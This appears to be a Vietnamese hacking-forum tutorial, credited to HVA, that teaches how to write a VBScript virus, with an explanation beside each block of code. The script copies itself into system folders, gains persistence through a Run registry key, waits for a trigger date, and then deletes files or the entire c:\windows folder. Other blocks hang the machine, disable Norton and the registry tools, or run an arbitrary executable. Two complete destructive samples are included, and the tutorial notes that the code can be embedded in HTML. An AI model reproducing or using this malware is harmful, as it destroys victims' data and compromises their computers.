[nguồn: HVA]
Đầu tiên; cần kiểm tra xem trong máy bạn có chạy được vbs không, bằng cách soạn thảo 1 file .vbs với nội dung là:
msgbox “hello!” nếu file này không chạy được thì có thể file wscript.exe trong thư mục c:\windows\system32 của bạn bị delete hay hư rồi.
Code:
‘kiem tra
msgbox “hello!”
1. Làm cho virus tự nhân bản và chuyển tới một nơi khác trên máy tính:
Code:
On Error Resume Next '1
Set c_t_c= Createobject("scripting.filesystemobject") '2
c_t_c.copyfile wscript.scriptfullname, c_t_c.GetSpecialFolder(1)& "\ c_t_c.vbs" '3
Giải thích:
Dòng 1: bỏ qua câu lệnh sai (mở đầu Code nên bắt đầu bằng dòng này).
Dong2: lệnh copy
c_t_c.copyfile wscript.scriptfullname -> lấy tên file của worm
c_t_c.GetSpecialFolder(1)& "\ c_t_c.vbs -> copy vào thư mục (1) với tên file quy định là c_t_c.vbs.
Thư mục (1) ở đây là c:\windows\system\ c_t_c.vbs [ %SystemDir%]
Nếu thay = (0) thì nó sẽ copy bản thân vào c:\windows\ c_t_c.vbs [%windir%]
Thay = (2) thì nó sẽ copy bản thân vào thư mục temp của win [%TempDir%]
Chú ý: Ngoài 3 thư mục đó, nếu muốn làm thư mục khác bạn không thể type thẳng vào c:\virus\ c_t_c.vbs hay c:/virus/ c_t_c.vbs [cái này sẽ nói sau]
2. Ghi 1 khoá vào registry để tự execute mỗi khi khởi động máy
Code:
Set c_t_c 2 = CreateObject("WScript.Shell") ‘4
c_t_c2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\name","wscript.exe "& c_t_c.GetSpecialFolder(0)& "\ c_t_c.vbs %" ‘5
Chú ý: ở dòng 5 name sau Run\ là tên của khoá trong registry, có thể thay đổi.
3. Kỹ thuật “hẹn ngày”
Virus vẫn âm thầm chạy trên máy tính nhưng chỉ tới ngày tháng bạn quy định nó mới tiến hành phá hoại. Ngày giờ được tính theo ngày giờ trên máy bị nhiễm.
Code:
if month(now) =9 and day(now) =11 then
‘your function
msgbox "Stop here!"
end if
Ở đoạn code trên thì đến ngày 11 tháng 9 thì nó sẽ xuất hiện thông báo: “Stop here!”
4. Phá hoại :
Delete file hay thư mục trên máy
Code:
Const vic = "c:\emiu\" ‘6
Delvic ‘7
Sub Delvic() ‘8
Dim fso ‘9
Set fso = CreateObject("Scripting.FileSystemObject") ‘10
fso.DeleteFile vic & "*.*" , True ‘11
fso.DeleteFolder vic & "*" , True ‘12
End Sub
Giải thích:
- Dòng 6 là để khai báo đường dẫn
- Dòng 11 là để delete file, ở đây là *.*
- Dòng 12 là để delete thư mục, ở đây là *
- Có thể thay đổi theo mục đích. Nếu thay bằng c:\windows\ thì sao nhỉ? ( !!!… cry.gif!)
Làm treo máy, hay restart lại máy
Code1:
‘Run notepad một cách auto tới khi treo máy, run notepad ở chế độ ẩn chứ không phải kiểu ‘bomb pop-up’. Cách này effect với mọi OS cho nên 1 cách này là đủ dùng rồi !
On Error Resume Next
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop
Code2:
‘Restart
Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows"
‘os 95 98 9x
Vô hiệu hoá anti-virus:
Dim wsh
Set wsh= CreateObject( "WScript.Shell")
s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Norton Program
Scheduler\Start"
wsh.RegWrite s1,3, "REG_DWORD"
(Tùy version mà code lại để đạt hiệu quả nhé.)
Hiển thị message khi reboot máy
dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\WinLogon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
wsh.RegWrite s1+s2, "Hi, I’m Can_Tho_City!"
wsh.RegWrite s1+s3, "Now your computer have a worm!"
Disable Registry
Dim objShell
Set objShell = CreateObject( "WScript.Shell" )
s1= "HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\"
s2 = "Policies\System\DisableRegistryTools"
objShell.RegWrite s1+s2,1, "REG_DWORD"
Lệnh execute 1 file chỉ định
Set exe= CreateObject(“Wscipt.Shell”)
exe.run(“c:\windows\virus.exe”)
Ví dụ minh họa mẫu:
1. Mỗi lần máy tính vừa mở lên thì bị phá ngay lập tức
On Error Resume Next
Set c_t_c= Createobject("scripting.filesystemobject")
c_t_c.copyfile wscript.scriptfullname, c_t_c.GetSpecialFolder(1)& "\ c_t_c.vbs"
Set c_t_c 2= CreateObject("WScript.Shell")
c_t_c 2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\code1","wscript.exe "& c_t_c.GetSpecialFolder(0)& "\ c_t_c.vbs %"
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop
2. Delete c:\windows
On Error Resume Next
Set c_t_c = Createobject("scripting.filesystemobject")
c_t_c.copyfile wscript.scriptfullname,c_t_c.GetSpecialFolder(1)& "\ c_t_c.vbs"
Set c_t_c 2= CreateObject("WScript.Shell")
c_t_c 2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\code2","wscript.exe "& c_t_c.GetSpecialFolder(0)& "\ c_t_c.vbs %"
Set treomay= CreateObject("WScript.Shell")
if month(now) =7 and day(now) =1 then
Const vic = "c:\windows\"
Delvic
Sub Delvic()
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile vic & "*.*" , True
fso.DeleteFolder vic & "*" , True
End Sub
end if
*Chú ý: vbs có thể insert vào html được .